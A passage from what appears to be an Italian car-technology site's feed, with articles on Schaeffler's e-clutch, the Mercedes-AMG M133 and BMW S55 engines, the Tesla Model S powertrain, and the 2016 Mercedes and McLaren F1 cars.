migliore delle ipotesi 17%.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-59023" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/00094276-300x145.jpg" alt="00094276" width="300" height="145" title="La frizione automatica secondo Schaeffler 952" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/04/00094276-300x145.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2016/04/00094276.jpg 500w" sizes="(max-width: 300px) 100vw, 300px" />L&#8217;ultimo step è la frizione elettronica ECM che si basa sul sistema precedente ma con la differenza che sparisce il pedale che comanda la frizione. Un sensore fornisce il segnale di disimpegno quando Driver è intento a voler cambiare marcia, la frizione in questo caso si attiva mediante i suoi attuatori ed il pilota passa alla marcia successiva.  L&#8217;elevato grado di automazione del sistema ECM fornisce anche base di partenza per l&#8217;integrazione di un motore elettrico nella catena cinematica. Usando una batteria per un sistema a 48 V, la frizione può far intervenire il motore elettrico in tutte quelle condizioni dove non sarebbe necessario il motore endotermico, soprattutto a bassa velocità nelle manovre nei centri urbani. Un sistema che rende una vettura a cambio manuale simile ad un ibrido con cambio automatico di ultima generazione.  L&#8217; e-clutch di Schaeffler apre un nuovo scenario per il futuro delle trasmissioni manuali, ma soprattutto indica anche nuove strade più semplici e meno costose per rendere le future ibride anche vetture già presenti nel parco circolante da tempo.</p>
<p><strong>Daniele Amore</strong></p>
<p>
<a href="https://www.giornalemotori.com/2016/04/13/schaeffler-e-clutch/listener-2-54/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/Listener-2-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="Listener 2" title="La frizione automatica secondo Schaeffler 953"></a>
<a href="https://www.giornalemotori.com/2016/04/13/schaeffler-e-clutch/listener-3-18/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/Listener-3-1-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="Listener 3 1" title="La frizione automatica secondo Schaeffler 954"></a>
<a href="https://www.giornalemotori.com/2016/04/13/schaeffler-e-clutch/listener-4-15/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/Listener-4-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="Listener 4" title="La frizione automatica secondo Schaeffler 955"></a>
<a href="https://www.giornalemotori.com/2016/04/13/schaeffler-e-clutch/listener-5-18/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/Listener-5-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="Listener 5" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/04/Listener-5-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2016/04/Listener-5-1024x1024.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2016/04/Listener-5-768x768.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2016/04/Listener-5-300x300.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2016/04/Listener-5-696x696.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2016/04/Listener-5.jpg 1136w" sizes="(max-width: 150px) 100vw, 150px" title="La frizione automatica secondo Schaeffler 956"></a>
<a href="https://www.giornalemotori.com/2016/04/13/schaeffler-e-clutch/listener-233/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/Listener-1-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="Listener 1" title="La frizione automatica secondo Schaeffler 957"></a>
<a href="https://www.giornalemotori.com/2016/04/13/schaeffler-e-clutch/listener-234/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/Listener-150x150.png" class="attachment-thumbnail size-thumbnail" alt="Listener" title="La frizione automatica secondo Schaeffler 958"></a>
</p>
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		<title>Best Engine: Mercedes-Amg M133 il 4 cilindri per la gamma A45 AMG</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 13 Mar 2016 15:04:45 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>E' stata chiamata in causa la AMG che ha creato un gioiello tecnologico che porta la sigla di M133.</p>
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										<content:encoded><![CDATA[<p><figure id="attachment_57984" aria-describedby="caption-attachment-57984" style="width: 300px" class="wp-caption alignleft"><img decoding="async" class="size-medium wp-image-57984" src="https://www.giornalemotori.com/wp-content/uploads//2016/03/m133-the-first-four-cylinder-turbo-mercedes-amg-engine-explained_7-300x225.jpg" alt="IF" width="300" height="225" title="Best Engine: Mercedes-Amg M133 il 4 cilindri per la gamma A45 AMG 959"><figcaption id="caption-attachment-57984" class="wp-caption-text">IF</figcaption></figure></p>
<p style="text-align: justify">La Mercedes, quando ha deciso di entrare nel segmento delle compatte premium del mercato con la gamma Classe A e le sue derivate ha dovuto affrontare anche il tema scottante delle compatte o hot hatch come le definiscono i britannici ad alte prestazioni. Per essere la migliore del segmento aveva la necessità di mettere il campo la migliore tecnologia motoristica possibile. E&#8217; stata chiamata in causa la AMG che ha creato un gioiello tecnologico che porta la sigla di M133. Si tratta di  un motore 4 cilindri benzina turbocompresso, derivato da un altro motore l’ M270.  A dire il vero di questo motore gli ingegneri della AMG hanno stravolto praticamente ogni componente rimanendo solo le misure di base simili nel nuovo M133.  Tutte le conoscenze tecniche maturate negli anni durante la progettazione dei più grandi e potenti motori M156 e M157 sono state come vedremo travasate direttamente sui componenti dell&#8217; M133.  In sostanza stiamo parlando del motore 4 cilindri più potente nella categoria 1.8/2.0 Litri  più potente del mercato.   I quattro pistoni hanno una corsa di 83 millimetri per un alesaggio di 92 millimetri, per un rapporto di compressione tipicamente basso per motori turbo da 8.6:1.   L&#8217;M133 ha un limite di fissato a quota 6.700 giri, ma ha una erogazione di potenza che da il meglio di se tra i 5.000 e 6.000 giri. Per un livello di potenza erogata di 360 cavalli metrici e 450 Nm. Un motore con un livello di potenza specifico di 180cv/Litro.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57985" src="https://www.giornalemotori.com/wp-content/uploads//2016/03/m133-the-first-four-cylinder-turbo-mercedes-amg-engine-explained_9-300x176.png" alt="m133-the-first-four-cylinder-turbo-mercedes-amg-engine-explained_9" width="300" height="176" title="Best Engine: Mercedes-Amg M133 il 4 cilindri per la gamma A45 AMG 960">Costruito con un monoblocco e testa completamente in alluminio, su questo motore è stata fatto un lavoro di ottimizzazione di tutti i flussi interni sia nella parte bassa del monoblocco lavorando sui condotti di lubrificazione e raffreddamento che per i condotti di alimentazione della testa e la camera di combustione. Un lavoro che ha permesso ai tecnici AMG di ottenere uno dei 4 cilindri più leggeri in assoluto, con il record della categoria per il rapporto peso/potenza. Gli ingegneri tedeschi hanno usato quanto di meglio avevano a disposizione per le lavorazioni meccaniche ed la definizione delle finiture di componenti come le canne dei cilindri e fasce di tenuta con tecnologia “Nanoslide” eliminando ogni distorsione statica  causata dal contatto tra cilindro e testa,  tecnologia già usata per i motori della SLS AMG per ridurre al massimi gli attriti.  Una riduzione degli attriti che ha effetti positivi anche sui valori di consumo.  La presenza di canali ravvicinati ai cilindri consente un più veloce passaggio dell&#8217;olio per una lubrificazione più efficacie con un tempo di salita dalla coppa dell&#8217;olio più rapido in ogni fase di utilizzo del motore anche le più gravose.  Le valvole di scarico hanno un rivestimento superficiale per limitare i problemi di surriscaldamento e sono composte di un anima formata da sodio per migliorare lo scambio termico ed il raffreddamento del componente.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57986" src="https://www.giornalemotori.com/wp-content/uploads//2016/03/m133-the-first-four-cylinder-turbo-mercedes-amg-engine-explained_3-300x200.jpg" alt="m133-the-first-four-cylinder-turbo-mercedes-amg-engine-explained_3" width="300" height="200" title="Best Engine: Mercedes-Amg M133 il 4 cilindri per la gamma A45 AMG 961">L’ M133 essendo un motore turbo, ha ha comportato un lavoro enorme dal punto di visto termodinamico. Nel M133 c&#8217;è stato uno studio per usare al meglio la miscela di aria benzina per ottenere una combustione la migliore possibile, consentendo di ottenere potenza senza penalizzare i consumi.  Un modo di concepire il motore turbo direttamente preso dalla filosofia che vede vincente la Mercedes in F1.  Il motore utilizza l&#8217; iniezione diretta di benzina a getto guidato con iniettori piezoelettrici posizionati centralmente nelle quattro camere di combustione. Come la maggior parte dei suoi rivali, anche l&#8217;AMG  ha risolto i problemi di ritardo del turbocompressore utilizzando un sistema twin-scroll per sfruttare al massimo l&#8217;energia del flusso dei gas di scarico che raggiunge la turbina fin dai regimi medio bassi. Il turbo utilizza una pressione di 1,8 bar un valore notevole per un motore di questa cilindrata.  Particolare attenzione riservata anche al sistema di raffreddamento con radiatori in gradi di lavorare con liquido particolare fino a 130°C, con l&#8217;aggiunta di un radiatore situato nella parte anteriore davanti alla ruota destra. Per migliorare l&#8217;efficienza ed i consumi sul motore  M133 viene usato un sistema di  controllo dell’alternatore per ridurre gli assorbimenti di potenza, in più controlla la variare l’utilizzo della pompa dell’olio e la funzione ECO start/stop. Il motore  così progettato consente di rispettare appieno le normative Euro6 nonostante il livello enorme di potenza rispetto alla cilindrata.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>F1: Analisi tecnica della Mercedes W07</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 03 Mar 2016 15:05:13 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>Dopo aver visto Ferrari e McLaren Honda è il momento di analizzare i dettagli della Mercedes W07.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57790" src="https://www.giornalemotori.com/wp-content/uploads//2016/03/2-300x277.jpeg" alt="2" width="300" height="277" title="F1: Analisi tecnica della Mercedes W07 962">E passata la prima fase di test a Barcellona, in questi momenti le scuderie stanno affrontando la seconda sessione di test sul tracciato spagnolo. Ormai ci sono abbastanza viste da poter spulciare nei dettagli i segreti delle monoposto che saranno protagoniste della prossima stagione. Dopo aver visto Ferrari e McLaren Honda è il momento di analizzare i dettagli della Mercedes W07.  Partendo dal muso, sembra che non sia cambiato gran che. Invece la grande differenza con la passata stagione sta tutta nell&#8217;affinamento dei dettagli. Soprattutto i deviatori sono cambiati per indirizzare meglio i flussi aria sotto la monoposto nella zona centrale dove si trova lo scalino di legno. Il muso a dire la verità presenta una importantissima verità, una grossa presa aria a forma di squalo, che funge da invito per il sistema S-Duct. Come si vede meglio ancora che nella soluzione utilizzata dalla McLaren, alla Mercedes devono aver preso molto sul serio l&#8217;importanza di avere una efficienza aerodinamica alle alte velocità svuotando l&#8217;eccesso di aria che si forma nella parte inferiore del muso.  L&#8217;aria che arriva al fondo vettura, viene ad essere pulita ed essenzialmente viaggia alla velocità ideale con la giusta portata eliminando di fatto gli eccessi. Per migliorare l&#8217;andamento del flusso aria sotto la vettura ci sono anche nuovi deflettori laterali. Quelli che si solito sono davanti ai cassoni laterali, sono stati divisi in tanti piccoli pannelli a forma di profilo alare verticale di altezza variabile. Il passo tra le alette determina la portata e l&#8217;aumento di velocità che il flusso aria deve avere prima di investire la parte inferiore della pancia laterale.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57791" src="https://www.giornalemotori.com/wp-content/uploads//2016/03/1-1-300x200.jpg" alt="1 (1)" width="300" height="200" title="F1: Analisi tecnica della Mercedes W07 963">La forte turbolenza a cui è sottoposta l&#8217;aria proveniente dall&#8217;interno ruote, ha costretto i tecnici tedeschi a legare con un piccolo fermo aerodinamico la parte superiore delle alette più alte. La funzione del pannello era quella in origine di dividere i due flussi aria, quello della parte centrale, con quello turbolento e nocivo all&#8217;esterno della pancia stessa. La soluzione della Mercedes tende ad usare parte del flusso nocivo esterno per sigillare o dare forza all&#8217;aria con l&#8217;aiuto del flusso esterno non prima che venga però domato dai piccoli deflettori laterali. Una soluzione innovativa,  particolare che nessuno aveva adottato fino a questo momento.  La parte posteriore della Mercedes W07 è ancora più interessante. Quello che in apparenza sembra essere una evoluzione della monoposto della passata stagione, nasconde grandissime novità. La zona a coca cola tra le ruote posteriori è talmente rastremata che ha permesso di sollevare il puntone che sostiene alettone e fanalino lasciando scoperto completamente il piano del profilo estrattore. In sostanza tutto il piano liberato dalla coda della monoposto, appare come una grossa appendice aerodinamica simile a quella che si vede nelle vetture Nascar sulla coda del baule, fatto ovviamente i dovuti distinguo per forma, incidenza e grandezza.  La zona viene investita dall&#8217;aria calda che arriva dall&#8217;interno pance. Questa soluzione è stata adottata con una ragionevole certezza anche dalla Ferrari. La differenza  tra i due team, sta nella sagomatura del condotto che fa uscire l&#8217;aria calda. Nel caso della Mercedes, si tratta di un condotto piccolo e stretto intorno allo scarico centrale.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57792" src="https://www.giornalemotori.com/wp-content/uploads//2016/03/4-300x289.jpeg" alt="4" width="300" height="289" title="F1: Analisi tecnica della Mercedes W07 964">Una volta fuoriuscita l&#8217;aria calda investe due piccoli alettoni a forma di arco nella parte alta e incurvato verso le ruote nella parte bassa. I due deflettori curvi servono a tenere l&#8217;aria calda indirizzata verso il centro del fondo piatto.  Bisogna dire che questa soluzione di stringere molto il posteriore fino ad alzarlo dal profilo estrattore, è un idea venuta per prima alla McLaren Honda, che ha costretto il costruttore giapponese a fare un power unit piccolissima nella zona del cambio, con i relativi problemi di affidabilità noti a tutti. Il fatto che oggi la Mercedes e la Ferrari stanno andando nella stessa direzione, significa che i progettisti britannici non parlavano a vanvera quando dicevano di avere carico aerodinamico ma mancavano di sola potenza. Detto questo anche a Woking avevano usato condotti di sfogo dell&#8217;aria calda dalle fiancate grandi come quelle della Ferrari. La Mercedes è unica nell&#8217;essere andata nella direzione opposta costringendo il flusso caldo a interagire e scambiare energia per velocizzare quello centrale della monoposto.  Se in Mercedes hanno ragione lo vedremo nel corso dei test, o nel corso delle prime gare. Nel caso hanno ragione i tedeschi e la loro soluzione risulterà vincente, allora si può dire che un condotto largo per l&#8217;aria calda su tutto il profilo estrattore potrebbe generare instabilità nel flusso aria che arriva da sotto la vettura ai lati dello scalino di legno dove la quantità di aria è maggiore e più tormentata per effetto di una maggiore altezza da terra delle fiancate rispetto al centro vettura.  Un problema che avevano già paventato in McLaren con una certa instabilità nelle condizioni di vento favorevole alla direzione di marcia della monoposto.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>F1: Analisi della nuova McLaren Honda Mp4-31</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 26 Feb 2016 11:32:04 +0000</pubDate>
				<category><![CDATA[Ultimi articoli]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La McLaren Honda MP4-31 inizia la stagione 2016 con il piede giusto. Difficile fare peggio di un disastroso 2015, ma compiere due giorni di test senza rotture è già un passo avanti sulla strada giusta. La Honda ha fatto la sua parte come si poteva prevedere essendo comunque un grande costruttore. La McLaren dal canto suo [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-57681" src="https://www.giornalemotori.com/wp-content/uploads//2016/02/Listener-300x300.jpg" alt="Listener" width="300" height="300" title="F1: Analisi della nuova McLaren Honda Mp4-31 967">La McLaren Honda MP4-31 inizia la stagione 2016 con il piede giusto. Difficile fare peggio di un disastroso 2015, ma compiere due giorni di test senza rotture è già un passo avanti sulla strada giusta. La Honda ha fatto la sua parte come si poteva prevedere essendo comunque un grande costruttore. La McLaren dal canto suo sembra aver capito le esigenze della casa giapponese elaborando un nuovo telaio ed una nuova veste aerodinamica. Nella nostra trattazione andremo alla scoperta per quanto possibile di quelle che sono le particolarità della nuova McLaren. Il muso ha sempre lo stesso bulbo tra i due piloni che reggono l&#8217;ala anteriore, ma nella macchina del 2016 ha i due sostegni allargati per avere un canale del passaggio dell&#8217;aria maggiorato. Ovviamente come abbiamo detto più volte, questa soluzione consente di avere una massa d&#8217;aria maggiore ad una maggiore velocità verso il fondo piatto della vettura. Il muso è stato anche accorciato per lasciare un ampio spazio sull&#8217;ala anteriore per non interferire con il flusso aria che investe la vettura come ha fatto ormai da tempo la Mercedes. Gli stesso supporti hanno una forma tale da diventare una sorta di deflettore che obbliga l&#8217;aria che passa interno alle ruote anteriori vada a finire per quanto possibile sotto il fondo vettura. Per impedire che gli eccessi di pressione che il flusso di aria avrebbe nell&#8217;investire il pilone di sostegno ci sono delle feritoie che sfogano e ancora una volta aiutano l&#8217;aria a compiere il percorso indicato dai tecnici britannici.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-57683" src="https://www.giornalemotori.com/wp-content/uploads//2016/02/mclaren-sidepods-300x100.jpg" alt="mclaren-sidepods" width="300" height="100" title="F1: Analisi della nuova McLaren Honda Mp4-31 968">Sulla parte superiore del muso si vede benissimo che alla McLaren usano un sistema S-Duct. Ricordiamo che questa soluzione ha lo scopo di ridurre la pressione dell&#8217;aria in eccesso sotto il muso che non riesce a passare sotto il fondo. Non ha una funzione di carico aerodinamico quanto quella di migliorare la penetrazione della monoposto e l&#8217;efficienza alle alte velocità. La differenza tra le due power unit, quella del 2015 e quella del 2016, ha come caratteristica la diversa presa aria sopra la testa del pilota. Il foro nella MP4-31 è più grande e diviso in due parti ben distinte.  La zona posteriore a coca cola, si pensava dovesse aumentare le dimensioni per ospitare la nuova motorizzazione 2016, invece da quello che appare è stata ancora più rastremata rispetto alla monoposto dello scorso anno. Da quello che si è visto nei test una strozzatura così importante non ha portato per adesso problemi di affidabilità alla nuova motorizzazione.</p>
<p style="text-align: justify;"><strong>Daniele Amore</strong></p>
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		<title>Best Engine: La propulsione elettrica della Tesla Model S</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 14 Feb 2016 13:56:31 +0000</pubDate>
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		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La Tesla non ha bisogno di presentazioni. In questa trattazione dove di solito esaminiamo i migliori motori del panorama automobilistico mondiale, vogliamo parlare della power unit che alimenta le uniche vetture al mondo di livello premium full elettrico</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57430" src="https://www.giornalemotori.com/wp-content/uploads//2016/02/2013-11-06-image-4-300x182.jpg" alt="2013-11-06-image-4" width="300" height="182" title="Best Engine: La propulsione elettrica della Tesla Model S 969">La Tesla non ha bisogno di presentazioni. In questa trattazione dove di solito esaminiamo i migliori motori del panorama automobilistico mondiale, vogliamo parlare della power unit che alimenta le uniche vetture al mondo di livello premium full elettrico. Per farlo dobbiamo parlare di comparto propulsivo nel suo complesso e non di motore nel senso stretto del termine. Partendo da un concetto più ampio,  la Tesla ha lavorato sviluppando un telaio di alluminio per l&#8217;integrazione delle batterie limitando il peso in più che comportano. Volendo fare una premessa, una vettura elettrica è assimilabile ad un computer portatile, solo che scorrazza per le strada con le ruote.  Cosi come nei notebook, l&#8217;autonomia richiede una gestione accurata dei sistemi che usano le batterie. La Tesla usa un monitoraggio continuo delle celle ai polimeri di litio-ioni che utilizzano cobalto per una potenza di 85 kWh. Continuando con il paragone la batteria del computer portatile tra i migliori del mercato può contare su 85 Wh. Fatti due rapidi calcoli è come se una Telsa avesse un pacco batterie di 1000 notebook per la Model S. La Tesla inoltre ha creato un particolare software per lo scarico e la ricarica delle batterie divise in moduli da elementi indipendenti.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57431" src="https://www.giornalemotori.com/wp-content/uploads//2016/02/electric-vehicle-chassis-battery-systems-5-638-300x225.jpg" alt="electric-vehicle-chassis-battery-systems-5-638" width="300" height="225" title="Best Engine: La propulsione elettrica della Tesla Model S 970"> I 540 kg di batterie poste nel pianale abbassano il centro di gravità dell&#8217;auto rendendo il comportamento simile ad una delle sportive più apprezzate dagli appassionati,  la  Toyota 86 ovviamente fatti i dovuti distinguo di dimensioni e masse totali delle Model S.  La potenza ha un valore di 700 CV fornita da due motori,  224 CV davanti e 476 CV al posteriore. Il sistema è stato separato per avere una distribuzione dei pesi 48/52, per un comportamento dinamico e piacevole. Tra i due motori non ci sono elementi meccanici di collegamento, entrambi i motori sono semplicemente sincronizzati e controllati dall&#8217;elettronica di bordo, per ottimizzare gli ingombri sono montati in posizione trasversale tra le ruote. La coppia massima è superiore alla potenza con un valore di 930 Nm. Con queste caratteristiche le prestazioni sono di assoluta eccellenza per la Tesla Model S P85D.  Nel dettaglio un motore elettrico consiste in un rotore che ruota in una gabbia. Nella fattispecie la Tesla Model S P85D utilizza due motori asincroni trifase con quattro poli.  Questo tipo di motore asincrono è parte di un brevetto dello scienziato che da il nome alla società  Nikola Tesla.  Usare questo tipo di motore è una  scelta quasi obbligata per l&#8217;azienda pionieristica che produce l&#8217;unica gamma di veicoli solo elettrici.  Un motore elettrico è tecnicamente molto semplice rispetto ad un motore a combustione anche rispetto ai più moderni ed efficienti. La velocità del motore è controllata da pochi circuiti elettrici e sistemi elettronici per gestire l&#8217;enorme potenza. Sul Modello S, il motore si trova su un lato del differenziale collegato al sistema di conversione con un generatore di frequenza per avere un segnale elettrico stabile nel motore.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-full wp-image-57433" src="https://www.giornalemotori.com/wp-content/uploads//2016/02/images.jpg" alt="images" width="259" height="194" title="Best Engine: La propulsione elettrica della Tesla Model S 971">Per entrare nel dettaglio sul funzionamento del motore, bisogna lasciare il campo della meccanica per entrare in quello dell&#8217;elettricità. Un motore<b> </b>asincrono, noto anche come ad induzione, è un motore elettrico a corrente alternata  senza collegamento tra elemento statore ed elemento rotore. Il termine asincrono viene dalla velocità di rotazione del rotore che non è esattamente determinata dalla frequenza delle  correnti che attraversano lo statore. Questo tipo di motore viene usato di solito per mezzi di trasporto tipo, metro, treni, navi propulsione, ed appunto auto elettriche. Viene usato anche per fini industriali come macchine utensili.  Questo tipo di motore ha una resa che va dal 85 e 98%, senza necessità di usare un sistema di raffreddamento o di un sistema di lubrificazione complesso. Un motore elettrico è molto compatto rispetto ad un motore termico della stessa potenza, in più non ha vibrazioni ne rumore. Per limitare la coppia molto elevata necessita di un sistema di riduzione. Il vantaggio di questo motore sta nel fatto di essere montato di presa diretta con il differenziale, che nel caso della Model S ha un rapporto di riduzione di 9.73 a 1 ​.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57434" src="https://www.giornalemotori.com/wp-content/uploads//2016/02/foto-3-1-300x169.jpg" alt="foto-3" width="300" height="169" title="Best Engine: La propulsione elettrica della Tesla Model S 972">La perdita di rendimento è minima proprio per l&#8217;assenza di organi di collegamento meccanico.  Un sistema che rappresenta la quinta essenza della semplicità. Il problema più grande che ne limita la diffusione nonostante tutti i pregi detti, è rappresentato dalla capacità delle batterie e dalla loro ricarica veloce.  Tesla dopo un primo blocco batterie di 60 kWh a distanza di pochi anni già si è passati ad un valore di 85 kWh.  Le batterie hanno una temperatura di utilizzo ottimale tra 15 e 25 ° C. I tecnici Tesla usano un sistema di controllo della temperatura che garantisce l&#8217;efficienza del pacco batterie sia nei mercati dove il c&#8217;è clima torrido che molto freddo. Resta il problema dei tempi di ricarica. Ad oggi il vantaggio enorme dei carburanti fossili sta nel fatto che l&#8217;utilizzatore si ferma alla stazione  di servizio per poi ripartire con pieno per molti km dopo pochi minuti. Senza contare che le stazioni di servizio ad oggi sono diffuse quasi capillarmente. La Tesla  ad oggi nella migliore delle ipotesi impiega 20 minuti per ricaricare il solo il 50% di batteria per un autonomia di 270 km.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57435" src="https://www.giornalemotori.com/wp-content/uploads//2016/02/pansonic-battery-storage-systems-16-638-300x225.jpg" alt="pansonic-battery-storage-systems-16-638" width="300" height="225" title="Best Engine: La propulsione elettrica della Tesla Model S 973">In ogni caso vanno usate le stazioni di ricarica messe appunto da Tesla, se si usa una normale presa da 220 ​​Volt e 13 A necessitano almeno 36h per una ricarica completa partendo da zero. Tempo che si riduce a 9 ore con una presa trifase di tipo industriale fino a  4h 30&#8242; di ricarica a seconda della corrente residua nelle batterie.  La Tesla fornisce un caricatore per convertire la corrente a 400 volt trifase 32 a per limitare il problema.  Ma delle tipologie di caricamento e della loro evoluzione necessita una trattazione specifica. Per coloro che si lamentano della mancanza di rumore, allora possiamo dire che non ha senso. La tecnologia elettrica ha il vantaggio nel silenzio, per essere avvistata nei centri cittadini ci sono sistemi di sicurezza sia sonori che visivi che usano le aziende anche per i muletti elettrici. Per chi sente la nostalgia del motore nell&#8217;abitacolo, non c&#8217;è modo di risolvere il problema. Gli altoparlanti interni alla vettura che sparano varie tracce sonore, per soddisfare il cliente non hanno senso. Se il cliente vuole sentire un motore endotermico ha semplicemente sbagliato prodotto, e non è ancora pronto per il futuro della mobilità sostenibile.</p>
<p style="text-align: justify"><strong>Daniele Amore<br />
</strong></p>
<p style="text-align: justify">
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		<title>Best Engine: BMW S55B30 per M3 e M4</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 31 Jan 2016 13:43:52 +0000</pubDate>
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		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il BMW S55B30 che equipaggia i modelli M3 ed M4 della casa bavarese. Motore che deriva direttamente dal classico e inossidabile N55.</p>
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										<content:encoded><![CDATA[<p>&nbsp;</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57181" src="https://www.giornalemotori.com/wp-content/uploads//2016/01/4c59d569-e8f4-7ea1-300x176.jpg" alt="4c59d569-e8f4-7ea1" width="300" height="176" title="Best Engine: BMW S55B30 per M3 e M4 974">Abbiamo avuto modo di testare uno dei motori migliori in assoluto del mercato automobilistico. Il BMW S55B30 che equipaggia i modelli M3 ed M4 della casa bavarese. Motore che deriva direttamente dal classico e inossidabile N55. Si tratta di un 3.0 litri twin turbo iniezione diretta sei cilindri come nella tradizione della BMW che in questa massima espressione eroga oltre 430 cavalli e <span style="color: #333333">406 Nm a partire dai</span><span style="color: #333333"> 1.850  fino a 5.500, per una potenza specifica di 141,6 CV / L.  </span>Un motore che ha migliorato i valori di peso già ottimi del S65 V8 precedentemente montato sui modelli M3 della passata generazione. Nonostante sia un motore turbo riesce a girare ad un numero di giri massimo di  7600 giri al minuto, con un rapporto di compressione molto alto per un valore di 10.2:. 1, valore che rimane lo stesso del N55 6 cilindri in linea della ​335i che però eroga meno potenza.  La cilindrata è ottenuta con un alesaggio di 84,0 millimetri per una corsa di 89,6 millimetri con una cilindrata complessiva di 2979 cc. L&#8217; S55  riesce ad erogare la sua coppia con una curva costante fin dai 1850 giri mantenendone consistente e poderosa  fino ai  5500 giri. Un andamento della curva di coppia sorprendente considerando i valori di cui è composto questo propulsore. Per la sovralimentazione, la BMW usa due turbo prodotti dalla Honeywell che generano una pressione di 1,25 bar di spinta massima.  Sembra che i progettisti della casa bavarese non siano andati oltre con i valori di pressione solo per non peggiorare la guidabilità.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-57182" src="https://www.giornalemotori.com/wp-content/uploads//2016/01/Flow-enhanced-manifolds-s55-655x363-300x166.jpg" alt="Flow-enhanced-manifolds-s55-655x363" width="300" height="166" title="Best Engine: BMW S55B30 per M3 e M4 975">Nel dettaglio il BMW M TwinPower Turbo comprende due turbocompressori mono-scroll, abbinati ad un sistema di iniezione diretta High Precision Injection. La fasatura variabile delle valvole VALVETRONIC ed il sistema Doppio VANOS permette una gestione variabile della fasatura dell&#8217;albero a camme fornisce un controllo completamente variabile del movimento della valvole di aspirazione. Questo permette al motore di avere una erogazione fluida e costante, migliorando i consumi e le emissioni. Il tutto senza minimamente ridurre la risposta <span class="goog-text-highlight">dell&#8217;acceleratore che invece mostra una reattività migliore che rispetto alla serie N55  </span>Il motore a sei cilindri dispone di un design closed deck del basamento per una migliore rigidità. Le camicie sono riportate direttamente sulle pareti dei cilindri per un miglioramento consistente del peso complessivo del motore. Le eccellenti doti di prestazioni della BMW M3 berlina e BMW M4 Coupé necessita di un migliore sistema di gestione termica del motore e di tutte le sue parti. Per garantire le temperature operative ottimali sia per brevi spostamenti che anche quando il veicolo gira in pista, gli ingegneri della divisione M hanno sviluppato un sistema di raffreddamento ad alta efficienza, che comprende un radiatore principale più dei radiatori aggiuntivi per che gestiscono le temperature di  turbocompressore e trasmissione, sfruttando una pompa elettrica che stabilizza le temperature a seconda delle necessità.</p>
<p style="text-align: justify">Il sistema di lubrificazione sfrutta tutta l&#8217;esperienza che la divisione M che ha guadagnato in anni di esperienza in pista. La coppa dell&#8217;olio in magnesio abbassa il peso inoltre è dotata di una serie di intercapedini per impedire eccessivi movimenti dell&#8217;olio in accelerazione o nei movimento in curva. La conformazione dell&#8217;intero circuito del lubrificante ha anche la funzione di rendere il lavoro dei due turbo meno gravosi. L&#8217;olio viene quindi garantito continuamente a tutti i componenti del motore in tutte le situazioni di guida indipendentemente che si tratti di guida cittadina o di pista estrema.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
<p style="text-align: justify">
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		<title>Best Engine: McLaren M838t V8 Biturbo</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 03 Jan 2016 13:36:22 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
